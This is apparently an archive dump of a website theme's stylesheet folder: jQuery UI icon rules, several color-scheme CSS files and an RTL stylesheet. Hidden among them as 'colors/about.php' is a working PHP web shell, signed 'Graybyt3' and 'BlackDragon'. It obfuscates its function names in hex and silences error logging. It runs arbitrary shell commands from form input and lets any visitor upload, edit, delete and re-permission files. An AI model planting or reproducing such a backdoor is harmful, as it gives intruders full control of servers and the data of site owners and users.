.ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { border-top-left-radius: 3px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { border-top-right-radius: 3px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { border-bottom-left-radius: 3px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { border-bottom-right-radius: 3px; } /* Overlays */ .ui-widget-overlay { background: #aaaaaa; opacity: .3; filter: Alpha(Opacity=30); /* support: IE8 */ } .ui-widget-shadow { -webkit-box-shadow: 0px 0px 5px #666666; box-shadow: 0px 0px 5px #666666; } colors/about.php 0000644 00000052374 14704434233 0007707 0 ustar 00 <?php error_reporting(0); $iniarray = [ "7068705F756E616D65", # [0] "73657373696F6E5F7374617274", # [1] "6572726F725F7265706F7274696E67", # [2] "70687076657273696F6E", # [3] "66696C655F7075745F636F6E74656E7473", # [4] "66696C655F6765745F636F6E74656E7473", # [5] "66696C657065726D73", # [6] "66696C656D74696D65", # [7] "66696C6574797065", # [8] "68746D6C7370656369616C6368617273", # [9] "737072696E7466", # [10] "737562737472", # [11] "676574637764", # [12] "6368646972", # [13] "7374725F7265706C616365", # [14] "6578706C6F6465", # [15] "666C617368", # [16] "6D6F76655F75706C6F616465645F66696C65", # [17] "7363616E646972", # [18] "676574686F737462796E616D65", # [19] "7368656C6C5F65786563", # [20] "53797374656D20496E666F726D6174696F6E", # [21] "6469726E616D65", # [22] "64617465", # [23] "6D696D655F636F6E74656E745F74797065", # [24] "66756E6374696F6E5F657869737473", # [25] "6673697A65", # [26] "726D646972", # [27] "756E6C696E6B", # [28] "6D6B646972", # [29] "72656E616D65", # [30] "7365745F74696D655F6C696D6974", # [31] "636C656172737461746361636865", # [32] "696E695F736574", # [33] "696E695F676574", # [34] "6765744F776E6572", # [35] "6765745F63757272656E745F75736572" # [36] ]; for ($i = 0; $i < count($iniarray); $i++) { $func[$i] = hexa($iniarray[$i]); } $func[1](); $func[2](0); $func[31](0); @$func[32](); @$func[33]('error_log', null); @$func[33]('log_errors', 0); @$func[33]('max_execution_time', 0); @$func[33]('output_buffering', 0); @$func[33]('display_errors', 0); $ds = @$func[34]("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "All function is accessible"; function fsize($file) { $a = ["B", "KB", "MB", "GB", "TB", "PB"]; $pos = 0; $size = filesize($file); while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, 2)." ".$a[$pos]; } function hexa($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } if (isset($_GET['dir'])) { $path = $_GET['dir']; $func[13]($_GET['dir']); } else { $path = $func[12](); } $path = $func[14]('\\', '/', $path); $exdir = $func[15]('/', $path); function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if ($func[29]($path . '/' . $_POST['newFolderName'])) { $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) { $func[16]("Create File Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) { $func[16]("Rename Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) { $func[16]("Edit Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) { $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { if (is_dir($_GET['item'])) { if ($func[27]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } else { if ($func[28]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { $func[16]("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } else{ if ($mainupload) { $func[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } } $dirs = $func[18]($path); ?> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <title>GOOGLE</title> </head> <body class="bg-dark text-light"> <div class="container-fluid"> <div class="py-3" id="main"> <div class="box shadow bg-dark p-4 rounded-3"> <div class="info mb-3"> <center><h1 style="color:white;">Graybyt3 Was Here</h1></center> <i class="fa fa-server"></i> <?= $func[0]() ?><br> <i class="fa fa-microchip"></i> <?= $_SERVER['SERVER_SOFTWARE'] ?><br> <i class="fa fa-satellite-dish"></i> <?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> </div> <div class="breadcrumb"> <i class="fa fa fa-folder pt-1"></i> <?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0): ?> <a href="?dir=/" class="text-decoration-none text-light">/</a> <?php endif; if ($pat == '') continue; ?> <?php if ($id + 1 == count($exdir)) : ?> <span class="text-secondary"><?= $pat ?></span> <?php else : ?> <a href="?dir= <?php for ($i = 0; $i <= $id; $i++) { echo "$exdir[$i]"; if ($i != $id) echo "/"; } ?> " class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span> <?php endif; ?> <?php endforeach; ?> <a href="?" class="text-decoration-none text-light"> [ HOME ]</a> </div> <div class="d-flex justify-content-between"> <div class="p-2"> <form action="" method="post"> <div class="row"> <div class="col-md-9 mb-3"> <input type="text" class="form-control form-control-sm" name="command" placeholder="Command"> </div> <div class="col-md-3"> <button type="submit" class="btn btn-outline-light btn-sm">Exec</button> </div> </div> </form> </div> <div class="p-2"> <form action="" method="post" enctype="multipart/form-data"> <div class="row"> <div class="col-md-9 mb-3"> <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload"> </div> <div class="col-md-3"> <button type="submit" class="btn btn-outline-light btn-sm">Submit</button> </div> </div> </form> </div> </div> <div class="container" id="tools"> <?php if (isset($_POST['command'])) : ?> <div class="row justify-content-center"> <pre><?= $func[20]($_POST['command']) ?></pre> </div> <?php endif; ?> <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?> <div class="row justify-content-center"> <?php if ($action == 'rename' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">New Name</label> <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label"><?= $_GET['item'] ?></label> <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php elseif ($action == 'view' && isset($_GET['item'])) : ?> <div class="mb-3"> <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label> <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea> <br> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </div> <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label"><?= $_GET['item'] ?></label> <input type="text" class="form-control" name="newPerm" value="<?= $func[11]($func[10]('%o', $func[6]($_GET['item'])), -4); ?>"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php endif; ?> </div> <?php endif; ?> <div class="row justify-content-center"> <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;"> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">Folder Name</label> <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> </form> </div> <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;"> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">File Name</label> <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php"> </div> <div class="mb-3"> <label for="name" class="form-label">File Content</label> <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea> </div> <button type="submit" class="btn btn-outline-light">Submit</button> </form> </div> <div class="collapse" id="newInfoServer" data-bs-parent="#tools" style="transition:none;"> <div class="mb-3"> <label for="name" class="form-label"><?= $func[21] ?></label> <textarea name="newFileContent" rows="10" class="form-control" disabled="">Uname > <?= $func[0]() ?> Software > <?= $_SERVER['SERVER_SOFTWARE'] ?> PHP > <?= $func[3]() ?> Protocol > <?= $_SERVER['SERVER_PROTOCOL'] ?> IP / Port > <?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> / <?= $_SERVER['SERVER_PORT'] ?> Mail > <?= $func[25]('mail') ? 'ON' : 'OFF' ?> Curl > <?= $func[25]('curl_version') ? 'ON' : 'OFF' ?> Owner > <?= $func[36](); ?> MySQL > <?= $func[25]('mysql_connect') ? 'ON' : 'OFF' ?> Disable Function > <?= $show_ds ?></textarea> <br> *ReClick For Close <br> File : BlackDragon <?= $_SERVER['SCRIPT_NAME'] ?> </div> </div> </div> </div> <div class="table-responsive"> <table class="table table-hover table-dark text-light"> <thead> <tr> <td style="width:35%">Name</td> <td style="width:10%">Type</td> <td style="width:10%">Size</td> <td style="width:13%">Owner/Group</td> <td style="width:10%">Permission</td> <td style="width:13%">Last Modified</td> <td style="width:9%">Actions</td> </tr> </thead> <tbody class="text-nowrap"> <?php foreach ($dirs as $dir) : if (!is_dir($dir)) continue; ?> <tr> <td> <?php if ($dir === '..') : ?> <a href="?dir=<?= $func[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a> <?php elseif ($dir === '.') : ?> <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a> <?php else : ?> <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a> <?php endif; ?> </td> <td class="text-light"><?= $func[8]($dir) ?></td> <td class="text-light">-</td> <td class="text-light"><?= $func[35]($dir) ?></td> <td class="text-light"><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td> <td class="text-light"><?= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?></td> <td> <?php if ($dir != '.' && $dir != '..') : ?> <div class="btn-group"> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a> <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a> </div> <?php elseif ($dir === '.') : ?> <div class="btn-group"> <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a> <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a> <a data-bs-toggle="collapse" href="#newInfoServer" role="button" aria-expanded="false" aria-controls="newInfoServer" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-info"></i></a> </div> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php foreach ($dirs as $dir) : if (!is_file($dir)) continue; ?> <tr> <td> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a> </td> <td class="text-light"><?= ($func[25]('mime_content_type') ? $func[24]($dir) : $func[8]($dir)) ?></td> <td class="text-light"><?= $func[26]($dir) ?></td> <td class="text-light"><?= $func[35]($dir) ?></td> <td class="text-light"><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td> <td class="text-light"><?= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?></td> <td> <?php if ($dir != '.' && $dir != '..') : ?> <div class="btn-group"> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a> <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a> </div> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="text-light">© BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script> <script> <?php if (isset($_SESSION['message'])) : ?> Swal.fire( '<?= $_SESSION['status'] ?>', '<?= $_SESSION['message'] ?>', '<?= $_SESSION['class'] ?>' ) <?php endif; clear(); ?> function deleteConfirm(url) { event.preventDefault() Swal.fire({ title: 'Are you sure?', icon: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, delete it!' }).then((result) => { if (result.isConfirmed) { window.location.href = url } }) } function jscopy() { var jsCopy = document.getElementById("CopyFromTextArea"); jsCopy.focus(); jsCopy.select(); document.execCommand("copy"); } </script> </body> </html> colors/color-8.css 0000644 00000000531 14704434233 0010045 0 ustar 00 :root { --thm-base: #e43434; --thm-base-rgb: 228, 52, 52; } .preloader .icon { background-image: url(../../../images/colors/color-8/icons/preloader.png); } .scroll-to-top { color: #fff; background-color: var(--thm-black); } .scroll-to-top:hover { background-color: #fff; color: var(--thm-black); } colors/color-default.css 0000644 00000000043 14704434233 0011320 0 ustar 00 :root { --thm-base:#ed2524; } colors/color-5.css 0000644 00000003125 14704434233 0010044 0 ustar 00 :root { --thm-base: #73a5ff; --thm-base-rgb: 115, 165, 255; } .preloader .icon { background-image: url(../../../images/colors/color-5/icons/preloader.png); } .main-header .other-links .link-box .link .icon { background-image: url(../../images/colors/color-5/icons/chat-icon.png); } .why-us-section .left-col .image-box::before { background-image: url(../../images/colors/color-5/icons/shape-1.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-5/main-slider/left-curve-line.png); } .trusted-section .col-header .header-inner::before { background-image: url(../../images/colors/color-5/icons/curve-down-left.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-5/main-slider/left-curve-line.png); } .banner-carousel .slide-item .right-bottom-curve { background-image: url(../../images/colors/color-5/main-slider/right-curved-bg.png); } .banner-carousel .slide-item .shape-1 { background-image: url(../../images/colors/color-5/main-slider/b-2-shape-1.png); } .banner-carousel .slide-item .shape-3 { background-image: url(../../images/colors/color-5/main-slider/b-2-shape-3.png); } .banner-carousel .slide-item .shape-4 { background-image: url(../../images/colors/color-5/main-slider/b-2-shape-4.png); } .page-banner .shape-1 { background-image: url(../../images/colors/color-5/background/b-shape-1.png); } .header-style-four .other-links .link-box .link .icon { background-image: url(../../images/colors/color-5/icons/chat-icon-dark.png); } colors/color-2.css 0000644 00000003131 14704434233 0010036 0 ustar 00 :root { --thm-base: #70f28b; --thm-base-rgb: 112, 242, 139; } .preloader .icon { background-image: url(../../../images/colors/color-2/icons/preloader.png); } .main-header .other-links .link-box .link .icon { background-image: url(../../images/colors/color-2/icons/chat-icon.png); } .why-us-section .left-col .image-box::before { background-image: url(../../images/colors/color-2/icons/shape-1.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-2/main-slider/left-curve-line.png); } .trusted-section .col-header .header-inner::before { background-image: url(../../images/colors/color-2/icons/curve-down-left.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-2/main-slider/left-curve-line.png); } .banner-carousel .slide-item .right-bottom-curve { background-image: url(../../images/colors/color-2/main-slider/right-curved-bg.png); } .banner-carousel .slide-item .shape-1 { background-image: url(../../images/colors/color-2/main-slider/b-2-shape-1.png); } .banner-carousel .slide-item .shape-3 { background-image: url(../../images/colors/color-2/main-slider/b-2-shape-3.png); } .banner-carousel .slide-item .shape-4 { background-image: url(../../images/colors/color-2/main-slider/b-2-shape-4.png); } .page-banner .shape-1 { background-image: url(../../images/colors/color-2/background/b-shape-1.png); } .header-style-four .other-links .link-box .link .icon { background-image: url(../../images/colors/color-2/icons/chat-icon-dark.png); } colors/color-3.css 0000644 00000003131 14704434233 0010037 0 ustar 00 :root { --thm-base: #83dcfa; --thm-base-rgb: 131, 220, 250; } .preloader .icon { background-image: url(../../../images/colors/color-3/icons/preloader.png); } .main-header .other-links .link-box .link .icon { background-image: url(../../images/colors/color-3/icons/chat-icon.png); } .why-us-section .left-col .image-box::before { background-image: url(../../images/colors/color-3/icons/shape-1.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-3/main-slider/left-curve-line.png); } .trusted-section .col-header .header-inner::before { background-image: url(../../images/colors/color-3/icons/curve-down-left.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-3/main-slider/left-curve-line.png); } .banner-carousel .slide-item .right-bottom-curve { background-image: url(../../images/colors/color-3/main-slider/right-curved-bg.png); } .banner-carousel .slide-item .shape-1 { background-image: url(../../images/colors/color-3/main-slider/b-2-shape-1.png); } .banner-carousel .slide-item .shape-3 { background-image: url(../../images/colors/color-3/main-slider/b-2-shape-3.png); } .banner-carousel .slide-item .shape-4 { background-image: url(../../images/colors/color-3/main-slider/b-2-shape-4.png); } .page-banner .shape-1 { background-image: url(../../images/colors/color-3/background/b-shape-1.png); } .header-style-four .other-links .link-box .link .icon { background-image: url(../../images/colors/color-3/icons/chat-icon-dark.png); } colors/color-6.css 0000644 00000003126 14704434233 0010046 0 ustar 00 :root { --thm-base: #fe9759; --thm-base-rgb: 254, 151, 89; } .preloader .icon { background-image: url(../../../images/colors/color-6/icons/preloader.png); } .main-header .other-links .link-box .link .icon { background-image: url(../../images/colors/color-6/icons/chat-icon.png); } .why-us-section .left-col .image-box::before { background-image: url(../../images/colors/color-6/icons/shape-1.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-6/main-slider/left-curve-line.png); } .trusted-section .col-header .header-inner::before { background-image: url(../../images/colors/color-6/icons/curve-down-left.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-6/main-slider/left-curve-line.png); } .banner-carousel .slide-item .right-bottom-curve { background-image: url(../../images/colors/color-6/main-slider/right-curved-bg.png); } .banner-carousel .slide-item .shape-1 { background-image: url(../../images/colors/color-6/main-slider/b-2-shape-1.png); } .banner-carousel .slide-item .shape-3 { background-image: url(../../images/colors/color-6/main-slider/b-2-shape-3.png); } .banner-carousel .slide-item .shape-4 { background-image: url(../../images/colors/color-6/main-slider/b-2-shape-4.png); } .page-banner .shape-1 { background-image: url(../../images/colors/color-6/background/b-shape-1.png); } .header-style-four .other-links .link-box .link .icon { background-image: url(../../images/colors/color-6/icons/chat-icon-dark.png); } colors/color-9.css 0000644 00000000260 14704434233 0010045 0 ustar 00 :root { --thm-base: #2398f9; --thm-base-rgb: 35, 152, 249; } .preloader .icon { background-image: url(../../../images/colors/color-9/icons/preloader.png); } colors/color-4.css 0000644 00000003125 14704434233 0010043 0 ustar 00 :root { --thm-base: #ff6c6c; --thm-base-rgb: 255, 108, 108; } .preloader .icon { background-image: url(../../../images/colors/color-4/icons/preloader.png); } .main-header .other-links .link-box .link .icon { background-image: url(../../images/colors/color-4/icons/chat-icon.png); } .why-us-section .left-col .image-box::before { background-image: url(../../images/colors/color-4/icons/shape-1.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-4/main-slider/left-curve-line.png); } .trusted-section .col-header .header-inner::before { background-image: url(../../images/colors/color-4/icons/curve-down-left.png); } .banner-carousel .slide-item .left-top-line { background-image: url(../../images/colors/color-4/main-slider/left-curve-line.png); } .banner-carousel .slide-item .right-bottom-curve { background-image: url(../../images/colors/color-4/main-slider/right-curved-bg.png); } .banner-carousel .slide-item .shape-1 { background-image: url(../../images/colors/color-4/main-slider/b-2-shape-1.png); } .banner-carousel .slide-item .shape-3 { background-image: url(../../images/colors/color-4/main-slider/b-2-shape-3.png); } .banner-carousel .slide-item .shape-4 { background-image: url(../../images/colors/color-4/main-slider/b-2-shape-4.png); } .page-banner .shape-1 { background-image: url(../../images/colors/color-4/background/b-shape-1.png); } .header-style-four .other-links .link-box .link .icon { background-image: url(../../images/colors/color-4/icons/chat-icon-dark.png); } colors/color-7.css 0000644 00000000253 14704434233 0010045 0 ustar 00 :root { --thm-base: #ed2c41; --thm-base-rgb: 237, 44, 65; } .preloader .icon { background-image: url(../../../images/colors/color-7/icons/preloader.png); } colors/color-12.css 0000644 00000000114 14704434233 0010115 0 ustar 00 :root { --thm-base: #ffc001; --thm-base-rgb: 255, 192, 1; } colors/color-10.css 0000644 00000000113 14704434233 0010112 0 ustar 00 :root { --thm-base: #41b974; --thm-base-rgb: 65, 185, 116; } colors/color-11.css 0000644 00000000115 14704434233 0010115 0 ustar 00 :root { --thm-base: #ff4b82; --thm-base-rgb: 255, 75, 130; } rtl.css 0000644 00000022223 14704434233 0006064 0 ustar 00 .translated-rtl body { direction: rtl; text-align: right; } .translated-rtl .thm-swiper__slider, .translated-rtl .owl-carousel { direction: ltr; } .translated-rtl .main-header .header-upper .logo-box { float: right; } .translated-rtl .main-header .other-links { float: left; } .translated-rtl .main-header .other-links .search-btn, .translated-rtl .main-header .other-links .link-box { float: right; } .translated-rtl .main-header .other-links .search-btn { padding-right: 0; margin-right: 0; margin-left: 50px; padding-left: 50px; border-right: 0; border-left-width: 1px; } .translated-rtl .main-header .other-links .link-box .link { padding-left: 0; text-align: right; padding-right: 60px; } .translated-rtl .main-header .other-links .link-box .link .icon { left: auto; right: 0; } .translated-rtl .about-section .text-column .inner { padding-left: 0; } @media (min-width: 1200px) { .translated-rtl .about-section .text-column .inner { padding-right: 60px; } } .translated-rtl .about-section .image-column .inner::before { left: auto; right: 0; } .translated-rtl .about-section .image-column .image-block:nth-child(1) { margin-left: 0; margin-right: 110px; } .translated-rtl .about-section .image-column .image-block:nth-child(2) { margin-right: 0; margin-left: 140px; } .translated-rtl .about-section .text-column .text ul li { padding-left: 0; padding-right: 35px; } .translated-rtl .about-section .text-column .text ul li::before { left: auto; right: 0; } .translated-rtl .about-section .text-column .text ul { float: right; } .translated-rtl .about-section .text-column .text .since { float: right; margin-left: 0; margin-right: 82px; } .translated-rtl .about-section .text-column .text .since::before { left: auto; right: -10px; } .translated-rtl .about-section .text-column .text .since::after { left: auto; right: -42px; } .translated-rtl .accordion-box .block .acc-btn { padding-right: 40px; padding-left: 60px; } .translated-rtl .accordion-box .block .acc-btn::before { right: auto; left: 35px; } .translated-rtl .we-do-section .featured-block { padding-left: 0; padding-right: 0; } @media (min-width: 600px) { .translated-rtl .we-do-section .featured-block { padding-right: 230px; } } .translated-rtl .we-do-section .featured-block .image { left: auto; right: 0; } .translated-rtl .we-do-section .progress-box .count-box { right: auto; left: -40px; } .translated-rtl .we-do-section .progress-box .count-box::after { left: auto; right: 0; border-left-color: transparent; border-right-color: var(--thm-black); } .translated-rtl .trusted-section .right-col .inner::before { left: auto; right: 100%; } .translated-rtl .trusted-section .right-col .inner { padding-left: 0; } @media (min-width: 992px) { .translated-rtl .trusted-section .right-col .inner { padding-right: 110px; } } .translated-rtl .trusted-section .featured-block-two .text ul li { padding-left: 0; padding-right: 30px; } .translated-rtl .trusted-section .featured-block-two { padding-left: 0; } @media (min-width: 992px) { .translated-rtl .trusted-section .featured-block-two { padding-right: 280px; } } .translated-rtl .trusted-section .featured-block-two .image { left: auto; right: 0; } .translated-rtl .trusted-section .featured-block-two .text ul li::before { left: auto; right: 0; } .translated-rtl .trusted-section .feature { padding-left: 0; } @media (min-width: 480px) { .translated-rtl .trusted-section .feature { padding-right: 90px; } } .translated-rtl .trusted-section .feature .count { left: auto; right: 0; } .translated-rtl .testi-block .info .image { left: auto; right: 0; } .translated-rtl .testi-block .info { padding-left: 0; padding-right: 100px; } .translated-rtl .testi-block .icon { right: auto; } @media (min-width: 480px) { .translated-rtl .testi-block .icon { left: 50px; } } .translated-rtl 